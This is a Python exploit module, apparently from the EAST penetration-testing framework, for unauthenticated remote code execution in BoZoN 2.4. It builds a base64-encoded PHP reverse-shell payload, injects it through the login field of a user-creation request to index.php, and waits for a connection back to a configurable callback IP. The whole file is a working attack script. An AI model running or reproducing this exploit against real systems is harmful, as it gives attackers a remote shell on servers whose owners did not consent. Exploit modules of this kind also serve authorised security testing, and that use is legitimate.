text: #! /usr/bin/env python
  # -*- coding: utf_8 -*-
  # The exploit is a part of EAST Framework - use only under the license agreement specified in LICENSE.txt in your EAST Framework distribution
  
  import sys
  import os
  import time
  import base64
  import urllib
  import urllib2
  from collections import OrderedDict
  
  sys.path.append('./core')
  sys.path.append('./shellcodes')
  import ShellUtils
  import Shellcodes
  from Sploit import Sploit
  
  INFO = {}
  INFO['NAME'] = "efa_bozon_rce"
  INFO['DESCRIPTION'] = "BoZoN 2.4 - Remote Code Execution"
  INFO['VENDOR'] = "http://bozon.pw/en/"
  INFO['DOWNLOAD_LINK'] = 'https://www.exploit-db.com/apps/8c2e068b0a6c01ab4281266b4f370579-BoZoN-master.zip'
  INFO['LINKS'] = ['https://www.exploit-db.com/exploits/41084/']
  INFO["CVE Name"] = "?"
  INFO["NOTES"] = """A Bozon vulnerability allows unauthenticated attackers to add arbitrary users and inject system commands to the "auto_restrict_users.php" file of the Bozon web interface."""
  
  INFO['CHANGELOG'] = "18 Jan, 2016. Written by Gleg team."
  INFO['PATH'] = 'Exploits/Web/'
  
  # Must be in every module, to be set by framework
  OPTIONS = OrderedDict()
  OPTIONS["HOST"] = "127.0.0.1", dict(description = 'Target IP')
  OPTIONS["PORT"] = 80, dict(description = 'Target port')
  OPTIONS["BASEPATH"] = '/bozon', dict(description = 'Basepath')
  OPTIONS["CALLBACK_IP"] = "127.0.0.1", dict(description = 'Callback IP')
  
  
  class exploit(Sploit):
      def __init__(self, host = "", port = 0, logger = None):
          Sploit.__init__(self, logger = logger)
          self.name = INFO['NAME']
          self.host = host
          self.port = port
          self.basepath = OPTIONS["BASEPATH"]
          self.callback_ip = ''
          
      def args(self):
          self.args = Sploit.args(self, OPTIONS)
          self.host = self.args.get('HOST', self.host)
          self.port = int(self.args.get('PORT', self.port))
          self.basepath = self.args.get('BASEPATH', self.basepath)
          self.callback_ip = self.args.get('CALLBACK_IP', OPTIONS["CALLBACK_IP"])
      
      def make_url(self, path = ''):
          return 'http://{}:{}{}{}'.format(self.host, self.port, self.basepath, path)
      
      def make_sploit(self):
          self.log("[>] Generate shellcode started")
          
          if self.args['listener']:
              port = self.args['listener']['PORT']
          else:
              return None
  
          s = Shellcodes.CrossOSShellcodes(self.callback_ip, port)
          shellcode = s.create_shellcode(ShellUtils.Constants.ShellcodeType.PHP, True)
  
          self.log("[>] Shellcode ready")
          return shellcode
      
      def run(self):
          self.args()
          self.log("Attacking {}".format(self.host))
          
          if self.is_listener_connected() is None:
              self.log('Please, enable listener to use this module')
              self.finish(False)
              
          b64_php = base64.b64encode(self.make_sploit()[6:-3].replace("'", '"'))        
          php = "eval(base64_decode('{}'));".format(b64_php)
          command = '"];$PWN=''{}//''//"'.format(php)
          
          data = urllib.urlencode({'creation' : '1', 'login' : command, 'pass' : 'abc123', 'confirm' : 'abc123', 'token' : ''})
  
          request = urllib2.Request(self.make_url('/index.php'), data)
          
          self.log('Uploading php shellcode')
          try:
              fd = urllib2.urlopen(request)
              time.sleep(1)
              self.log(fd.read())
          except Exception as e:
              self.log(e)
              self.finish(False)
          
          while True:
              if self.is_listener_connected():
                  break
              time.sleep(3)
          
          self.finish(True)
          
  if __name__ == '__main__':
      """
          By now we only have the tool mode for exploit..
          Later we would have standalone mode also.
      """
  
      print "Running exploit %s .. " % INFO['NAME']
      e = exploit('', 80)
      e.run()
  